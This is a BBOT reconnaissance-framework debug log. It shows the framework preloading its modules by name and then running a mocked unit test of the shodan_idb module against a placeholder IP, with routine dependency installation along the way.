14:43:27,748 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 14:43:27,749 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 14:43:27,749 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 14:43:27,750 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 14:43:27,750 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 14:43:27,751 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 14:43:27,751 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 14:43:27,751 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 14:43:27,752 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 14:43:27,752 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 14:43:27,753 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 14:43:27,753 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 14:43:27,753 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 14:43:27,754 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 14:43:27,754 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 14:43:27,755 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 14:43:27,755 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 14:43:27,755 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 14:43:27,756 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 14:43:27,756 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 14:43:27,756 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 14:43:27,757 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 14:43:27,757 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 14:43:27,758 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 14:43:27,758 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 14:43:27,758 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 14:43:27,759 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-02-27 14:43:27,759 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 14:43:27,760 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 14:43:27,760 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 14:43:27,760 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 14:43:27,761 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 14:43:27,761 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 14:43:27,762 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 14:43:27,762 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 14:43:27,763 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 14:43:27,763 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 14:43:27,764 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 14:43:27,764 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 14:43:27,765 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 14:43:27,765 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 14:43:27,765 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 14:43:27,766 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 14:43:27,766 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 14:43:27,767 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 14:43:27,767 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 14:43:27,768 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 14:43:27,768 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 14:43:27,769 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-02-27 14:43:27,770 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-02-27 14:43:27,770 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 14:43:27,770 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 14:43:27,771 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 14:43:27,771 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 14:43:27,771 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 14:43:27,772 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 14:43:27,772 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-02-27 14:43:27,772 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 14:43:27,773 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 14:43:28,565 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:43:28,565 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:43:28,566 [INFO] bbot base.py:99 Starting shodan_idb module test -2026-02-27 14:43:28,660 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 14:43:29,038 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_idb" of type "scan" -2026-02-27 14:43:29,038 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 14:43:29,039 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 14:43:29,039 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 14:43:29,169 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 14:43:29,170 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 14:43:29,276 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 14:43:29,277 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 14:43:29,302 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 14:43:29,304 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 14:43:29,304 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-02-27 14:43:29,704 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 14:43:29,705 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 14:43:34,336 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-02-27 14:43:34,337 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 14:43:34,337 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 14:43:36,054 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 14:43:36,054 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 14:43:36,058 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:43:36,059 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 14:43:36,059 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_idb - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:43:36,059 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "shodan_idb" -2026-02-27 14:43:36,060 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_idb -2026-02-27 14:43:36,124 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_idb" -2026-02-27 14:43:36,125 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_idb) -2026-02-27 14:43:36,125 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 14:43:36,126 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-02-27 14:43:36,126 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-02-27 14:43:36,126 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 14:43:36,126 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-02-27 14:43:36,127 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-02-27 14:43:36,127 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 14:43:36,127 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-02-27 14:43:36,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 14:43:36,128 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 14:43:36,129 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 14:43:36,129 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 14:43:36,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 14:43:36,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 14:43:36,129 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Setting up module shodan_idb -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup_deps() -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup() -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished setting up module shodan_idb -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 14:43:36,130 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 14:43:36,131 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 14:43:36,131 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 14:43:36,131 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 14:43:36,132 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 14:43:36,132 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_idb (success) -2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 14:43:36,133 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 14:43:36,134 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 14:43:36,134 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-02-27 14:43:36,134 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 14:43:36,134 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 14:43:36,212 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_idb_test_4z8bbmuspg -2026-02-27 14:43:36,213 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-02-27 14:43:36,278 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-02-27 14:43:36,278 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 14:43:36,279 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 14:43:36,280 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 14:43:36,380 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-02-27 14:43:36,380 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-02-27 14:43:36,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-02-27 14:43:36,382 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,383 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 14:43:36,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:43:36,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 14:43:36,385 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:43:36,387 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 14:43:36,387 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:43:36,388 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 14:43:36,388 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:43:36,390 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:43:36,390 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 14:43:36,392 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,392 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 14:43:36,392 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,393 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,393 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 14:43:36,394 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded -2026-02-27 14:43:36,394 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 14:43:36,394 [DEBUG] bbot.modules.shodan_idb base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 14:43:36,394 [DEBUG] bbot.modules.shodan_idb base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,409 [VERBOSE] bbot.core.helpers.web.client logger.py:151 Creating httpx.AsyncClient((), {'transport': , 'verify': , 'timeout': 10, 'headers': {'User-Agent': 'BBOT Test User-Agent'}, 'cookies': {}, 'proxy': None}) -2026-02-27 14:43:36,414 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) -2026-02-27 14:43:36,481 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) from TARGET -2026-02-27 14:43:36,482 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:7fa1a82c8551a30a9cf898007f63ed2f08185019', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 14:43:36,501 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET -2026-02-27 14:43:36,503 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check -2026-02-27 14:43:36,503 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 14:43:36,521 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-idb'}) because its type is FINISHED -2026-02-27 14:43:36,522 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 14:43:36,523 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 14:43:36,523 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-02-27 14:43:36,523 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 14:43:36,524 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-idb'}) from None -2026-02-27 14:43:36,524 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 14:43:36,624 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 14:43:36,624 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-02-27 14:43:36,633 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 14:43:36,633 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 14:43:36,633 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 14:43:36,638 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 14:43:36,638 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-02-27 14:43:36,639 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 14:43:36,639 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-02-27 14:43:36,639 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-02-27 14:43:36,640 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-02-27 14:43:36,641 [VERBOSE] bbot.core.webhelper logger.py:151 EngineClient WebHelper: shutting down... -2026-02-27 14:43:36,642 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine got shutdown signal -2026-02-27 14:43:36,642 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: shutting down... -2026-02-27 14:43:36,642 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: finished shutting down -2026-02-27 14:43:36,708 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_idb_test_4z8bbmuspg completed in 0 seconds with status FINISHED -2026-02-27 14:43:36,708 [DEBUG] bbot base.py:113 Finished shodan_idb module test -2026-02-27 14:43:36,709 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:45:14,110 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-02-27 14:45:14,117 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 14:45:14,117 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 14:45:14,118 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 14:45:14,118 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 14:45:14,119 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 14:45:14,119 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 14:45:14,120 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 14:45:14,120 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 14:45:14,120 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 14:45:14,121 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 14:45:14,121 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 14:45:14,123 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 14:45:14,124 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 14:45:14,124 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 14:45:14,125 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 14:45:14,125 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 14:45:14,126 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 14:45:14,126 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 14:45:14,127 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 14:45:14,127 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 14:45:14,127 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 14:45:14,128 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 14:45:14,128 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 14:45:14,129 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 14:45:14,129 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 14:45:14,130 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 14:45:14,130 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 14:45:14,130 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 14:45:14,131 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 14:45:14,131 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 14:45:14,131 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 14:45:14,132 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 14:45:14,132 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 14:45:14,133 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 14:45:14,133 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache 